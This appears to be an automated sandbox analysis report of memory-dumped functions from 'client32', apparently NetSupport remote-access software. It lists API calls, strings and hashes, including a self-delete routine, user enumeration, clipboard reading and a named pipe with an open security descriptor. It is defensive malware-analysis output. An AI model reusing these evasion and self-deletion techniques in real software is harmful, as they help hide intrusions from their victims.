Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11095990: GetSystemMetrics.USER32(0000004C), ref: 1109599E
Part of subcall function 11095990: GetSystemMetrics.USER32(0000004D), ref: 110959A7
Part of subcall function 11095990: GetSystemMetrics.USER32(0000004E), ref: 110959AE
Part of subcall function 11095990: GetSystemMetrics.USER32(00000000), ref: 110959B7
Part of subcall function 11095990: GetSystemMetrics.USER32(0000004F), ref: 110959BD
Part of subcall function 11095990: GetSystemMetrics.USER32(00000001), ref: 110959C5

UpdateWindow.USER32(?), ref: 11007EF2
SetCursor.USER32(?), ref: 11007EFF

Strings

PenColour, xrefs: 11007A82
FillColour, xrefs: 11007AD6
DISPLAY, xrefs: 1100794E
Tool, xrefs: 11007A6A
Annotate, xrefs: 11007A6F, 11007A87, 11007AB2, 11007ADB, 11007AFA, 11007BA6
Font, xrefs: 11007BA1
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 11007C2E
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11007807, 11007A29, 11007DD9, 11007E1C, 11007E9A, 11007EDC
m_hWnd, xrefs: 1100780C, 11007A2E, 11007DDE, 11007E21, 11007E9F, 11007EE1
Show, xrefs: 1100785C, 110078EF
PenWidth, xrefs: 11007A9E
ShowAppIds, xrefs: 110078EA
Monitor, xrefs: 11007857
FillStyle, xrefs: 11007AEC

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$Object$MetricsSystem$Select$ColorCompatibleWindow$Bitmap$CursorDeleteText_memset$BrushClipFontIndirectLoadSolid$ErrorExitLastMessageProcessRectReleaseStockUpdate_malloc_strrchr_swscanfwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$DISPLAY$FillColour$FillStyle$Font$Monitor$PenColour$PenWidth$Show$ShowAppIds$Tool$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2635354838-2303488826
Opcode ID: ce91e015fccf874ab5364d5912c202136b1815022c7b0a0c5b798458fb00d7af
Instruction ID: 6182bcd3debcd054039c16ce38c58758ae1f5640e4e16b95df98d0b4ae7a1d43
Opcode Fuzzy Hash: ce91e015fccf874ab5364d5912c202136b1815022c7b0a0c5b798458fb00d7af
Instruction Fuzzy Hash: 5422C7B5A00719AFE714CFA4CC85FEAF7B8FB48708F0045A9E26A97684D774A940CF50

Function 111273E0 Relevance: 68.5, APIs: 31, Strings: 8, Instructions: 289fileprocessthreadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11127400
_memset.LIBCMT ref: 1112741D
GetVersionExA.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 11127436
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,00000000,00000000), ref: 11127455
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,00000000,00000000), ref: 1112749B
_strrchr.LIBCMT ref: 111274AA
CreateFileA.KERNEL32(?,C0000000,00000005,00000000,00000002,00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 111274E3
WriteFile.KERNEL32(00000000,111B8C68,000004D0,?,00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 1112750F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000), ref: 1112751C
CreateFileA.KERNEL32(?,80000000,00000005,00000000,00000003,04000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 11127537
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,00000000,00000000), ref: 11127547
wsprintfA.USER32 ref: 11127561
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 1112758D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 1112759E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 111275A7
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 111275AA
CreateProcessA.KERNEL32(00000000,explorer.exe,00000000,00000000,00000000,00000044,00000000,00000000,00000044,?,?,?,?,?,00000000,00000000), ref: 111275E0
GetCurrentProcess.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 11127682
GetCurrentProcess.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 11127685
DuplicateHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 11127688
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,00000000,00000000), ref: 1112769C
_strrchr.LIBCMT ref: 111276AB
_memmove.LIBCMT ref: 11127724
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 11127744

Strings

"%s" %d %s, xrefs: 1112755B
*.*, xrefs: 111276E6
NSelfDel.exe, xrefs: 1112746A
D, xrefs: 11127413
pSlash, xrefs: 111276C1
iCodeSize <= sizeof(local.opCodes), xrefs: 1112770A
selfdelete.cpp, xrefs: 111276BC, 11127705
explorer.exe, xrefs: 111275D9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileHandleProcess$CloseCreate$Current$ModuleName_memset_strrchr$ContextDuplicatePathTempThreadVersionWrite_memmovewsprintf
String ID: "%s" %d %s$*.*$D$NSelfDel.exe$explorer.exe$iCodeSize <= sizeof(local.opCodes)$pSlash$selfdelete.cpp
API String ID: 2219718054-800295887
Opcode ID: 358ec25b12d5316939eb5b1f22c615080bb201b40904b81bfc467a07c38be4f0
Instruction ID: 6f5bf149a73cded94bd2a3d0400a9449b47971ff92e0dc1769d6f3c3ef99b26f
Opcode Fuzzy Hash: 358ec25b12d5316939eb5b1f22c615080bb201b40904b81bfc467a07c38be4f0
Instruction Fuzzy Hash: D8B1D4B5A40328AFE724DF60CD85FDAF7B8EB44708F008199E619A76C4DB706A84CF55

Function 11147160 Relevance: 31.7, APIs: 8, Strings: 10, Instructions: 220libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(netapi32.dll,?,?), ref: 11147195
GetProcAddress.KERNEL32(00000000,NetWkstaUserGetInfo), ref: 111471C6
GetProcAddress.KERNEL32(00000000,NetUserGetInfo), ref: 111471D4
GetProcAddress.KERNEL32(00000000,NetApiBufferFree), ref: 111471E2
GetUserNameW.ADVAPI32(?,?), ref: 11147233
GetTickCount.KERNEL32 ref: 111472A0
GetTickCount.KERNEL32 ref: 111472C3

Strings

NetUserGetInfo(%ls\%ls) took %d ms and ret x%x, xrefs: 111472E1
NetUserGetInfo, xrefs: 111471C8
netapi32.dll, xrefs: 1114717E
d, xrefs: 11147229
InvalidComputer, xrefs: 11147414
NetApiBufferFree, xrefs: 111471D6
UserNotFound, xrefs: 111473CE
NetWkstaUserGetInfo, xrefs: 111471C0
AccessDenied, xrefs: 1114730D
<not Available>, xrefs: 11147452

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$LibraryLoadNameUser
String ID: <not Available>$AccessDenied$InvalidComputer$NetApiBufferFree$NetUserGetInfo$NetUserGetInfo(%ls\%ls) took %d ms and ret x%x$NetWkstaUserGetInfo$UserNotFound$d$netapi32.dll
API String ID: 132346978-2450594007
Opcode ID: d766d68a65dbef05b4443dd6d9e807eb58abfdc436fa79d712fe2cbede22872e
Instruction ID: 7595ca438a49fe2cfed1e9b9138c1f844f941fc746b3e2b3d1353ee5cc6e5023
Opcode Fuzzy Hash: d766d68a65dbef05b4443dd6d9e807eb58abfdc436fa79d712fe2cbede22872e
Instruction Fuzzy Hash: 3F917A75A012289FDB28CF64C894ADAFBB4EF49318F5581E9E94D97301DB309E80CF91

Function 6EF04F30 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 192sleepCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000057), ref: 6EF04F6D
EnterCriticalSection.KERNEL32(6EF3B898), ref: 6EF04FE9
LeaveCriticalSection.KERNEL32 ref: 6EF05002
_free.LIBCMT ref: 6EF05086
_free.LIBCMT ref: 6EF050BA
GetTickCount.KERNEL32 ref: 6EF050CB
GetTickCount.KERNEL32 ref: 6EF050E0
Sleep.KERNEL32(00000014,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6EF050F2
EnterCriticalSection.KERNEL32(6EF3B898,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6EF05108
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6EF05135
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6EF0513F
SetLastError.KERNEL32(?), ref: 6EF05154

Strings

GSK=%s, xrefs: 6EF0504F
LINK=%s, xrefs: 6EF0507A
CMD=GETFILEINFO, xrefs: 6EF05033
Gateway_Gsk, xrefs: 6EF04FC6

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$ErrorLast$CountEnterLeaveTick_free$Sleep
String ID: CMD=GETFILEINFO$GSK=%s$Gateway_Gsk$LINK=%s
API String ID: 619989478-944126313
Opcode ID: b2d3db06bea072e65067a0465d4b29a215e7e8850966504436f75241f3b20197
Instruction ID: 73b2e3e2b2eb969945521349dfeb47c6cda324cf09f6befb419d19aaa0283d7d
Opcode Fuzzy Hash: b2d3db06bea072e65067a0465d4b29a215e7e8850966504436f75241f3b20197
Instruction Fuzzy Hash: 6761D372904209EFCB20DFE4C874BDE77B9EF45315F20456AE505A7280E771AA04DBE0

Function 110CB750 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 168windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000,?), ref: 110CB7D9
IsIconic.USER32(00000001), ref: 110CB7E9
GetClientRect.USER32(00000001,?), ref: 110CB7F8
GetSystemMetrics.USER32(00000000), ref: 110CB80D
GetSystemMetrics.USER32(00000001), ref: 110CB814
IsIconic.USER32(00000001), ref: 110CB844
GetWindowRect.USER32(00000001,?), ref: 110CB853
SetWindowPos.USER32(?,00000000,?,11186ABB,00000000,00000000,0000001D,00000000,?,00000001,?,00000002,?,?), ref: 110CB907

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\nsmdlg.cpp, xrefs: 110CB799
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110CB7BF, 110CB8E7
m_hWnd, xrefs: 110CB7C4, 110CB8EC
m_eh, xrefs: 110CB79E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: RectWindow$IconicMetricsSystem$ClientErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\nsmdlg.cpp$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_eh$m_hWnd
API String ID: 2655531791-1552842965
Opcode ID: 7316ed0ab011e425627eb5277c7b03534fcc1c44e65c4e20bf12da702932a4de
Instruction ID: bec57f5bcccff08dda3657368f880f3a53371a65c549dad109d34ac0d6980115
Opcode Fuzzy Hash: 7316ed0ab011e425627eb5277c7b03534fcc1c44e65c4e20bf12da702932a4de
Instruction Fuzzy Hash: 3B51BE71E0061AAFDB10CFA5CC84FEEB7B8FB48754F1441A9E516A7280E774A905CF90

Function 110F37A0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 79pipesleepmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014,?,00000000), ref: 110F37AC
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 110F37D5
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 110F37E2
CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,?,?,000003E8,?), ref: 110F3813
GetLastError.KERNEL32 ref: 110F3820
Sleep.KERNEL32(000003E8), ref: 110F383F
CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,00000001,?,000003E8,0000000C), ref: 110F385E
LocalFree.KERNEL32(?), ref: 110F386F

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

CreateNamedPipe %s failed, error %d, xrefs: 110F3828
pSD, xrefs: 110F37C5
e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 110F37C0

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateDescriptorErrorLastLocalNamedPipeSecurity$AllocDaclExitFreeInitializeMessageProcessSleepwsprintf
String ID: CreateNamedPipe %s failed, error %d$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$pSD
API String ID: 3134831419-838605531
Opcode ID: ba8c9a88e56743c1b68755e398c1e881422c14d751ccacaf3068d1f003b9bfe3
Instruction ID: 0e8d2fcc7f1c5a3ddbef900f79df2a7d8f3873558929e31ad043a2fe9730b339
Opcode Fuzzy Hash: ba8c9a88e56743c1b68755e398c1e881422c14d751ccacaf3068d1f003b9bfe3
Instruction Fuzzy Hash: D721AA71E80329BBE7119BA4CC8AFEEB76CDB44729F004211FE356B1C0D6B05A058795

Function 110934A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(11148360), ref: 110934A9

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

OpenEventA.KERNEL32(001F0003,00000000,NSMFindClassEvent), ref: 110934D9
FindWindowA.USER32(NSMClassList,00000000), ref: 110934EA
SetForegroundWindow.USER32(00000000), ref: 110934F1

Part of subcall function 11091920: GlobalAddAtomA.KERNEL32(NSMClassList), ref: 11091982

Part of subcall function 11093410: GetClassInfoA.USER32(1109350C,NSMClassList,?), ref: 11093424

Part of subcall function 11091A50: CreateWindowExA.USER32(00000000,NSMClassList,00000000,00000000), ref: 11091A9D
Part of subcall function 11091A50: UpdateWindow.USER32(?), ref: 11091AEF

CreateEventA.KERNEL32(00000000,00000000,00000001,NSMFindClassEvent,?,00000000,?,00000000), ref: 11093531

Part of subcall function 11091B00: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11091B1A
Part of subcall function 11091B00: TranslateAcceleratorA.USER32(?,?,?,?,?,?,11093540,?,00000000,?,00000000), ref: 11091B47
Part of subcall function 11091B00: TranslateMessage.USER32(?), ref: 11091B51
Part of subcall function 11091B00: DispatchMessageA.USER32(?), ref: 11091B5B
Part of subcall function 11091B00: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11091B6B

CloseHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 11093555

Part of subcall function 110919C0: GlobalDeleteAtom.KERNEL32(00000000), ref: 110919FE

Strings

NSMFindClassEvent, xrefs: 110934CD, 11093526
NSMClassList, xrefs: 110934E5

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageWindow$AtomCreateEventGlobalTranslate$AcceleratorClassCloseDeleteDispatchExceptionFilterFindForegroundHandleInfoOpenUnhandledUpdate_malloc_memsetwsprintf
String ID: NSMClassList$NSMFindClassEvent
API String ID: 1622498684-2883797795
Opcode ID: 1d17c6d06f0752a0e127f38c2cb7496eef9d81b3bf4849528fd07608f0b17edd
Instruction ID: 4b33314c0ec69eaaabe86fb2bb0f057967e6cef17922574bfca5772aa51aa607
Opcode Fuzzy Hash: 1d17c6d06f0752a0e127f38c2cb7496eef9d81b3bf4849528fd07608f0b17edd
Instruction Fuzzy Hash: E911C639F4822D67EB15A3F51D29B9FBA985B44BA8F010024F92DDA580EF64F400E6A5

Function 11033320 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 87clipboardCOMMON

Download Yara Rule

APIs

IsClipboardFormatAvailable.USER32(?), ref: 11033361
GetClipboardData.USER32(?), ref: 1103337D
GetClipboardFormatNameA.USER32(?,?,00000050), ref: 110333FC
GetLastError.KERNEL32 ref: 11033406
GlobalUnlock.KERNEL32(00000000), ref: 11033426

Strings

pData && pSize, xrefs: 11033353
..\ctl32\clipbrd.cpp, xrefs: 1103334E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Clipboard$Format$AvailableDataErrorGlobalLastNameUnlock
String ID: ..\ctl32\clipbrd.cpp$pData && pSize
API String ID: 1861668072-1296821031
Opcode ID: f2492e8139006f9da97ffff361a7bd75bee4125508335d11334c914ee87c47b7
Instruction ID: bd08247f7f5b97daa22515b1f99226a4dce8a406111026209efe1a9e37a97f87
Opcode Fuzzy Hash: f2492e8139006f9da97ffff361a7bd75bee4125508335d11334c914ee87c47b7
Instruction Fuzzy Hash: 8121D336E1415D9FC701DFE998C1AAEF3B8EF8961AB0040A9E815DF300EF71A900CB90

Function 11089430 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00001770,0000000A), ref: 1108946F
LoadResource.KERNEL32(00000000,00000000,?,00000000,?,110CF1A6,?), ref: 11089484
LockResource.KERNEL32(00000000,?,00000000,?,110CF1A6,?), ref: 110894B6

Strings

..\ctl32\Errorhan.cpp, xrefs: 11089498, 110894C7
hMap, xrefs: 1108949D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
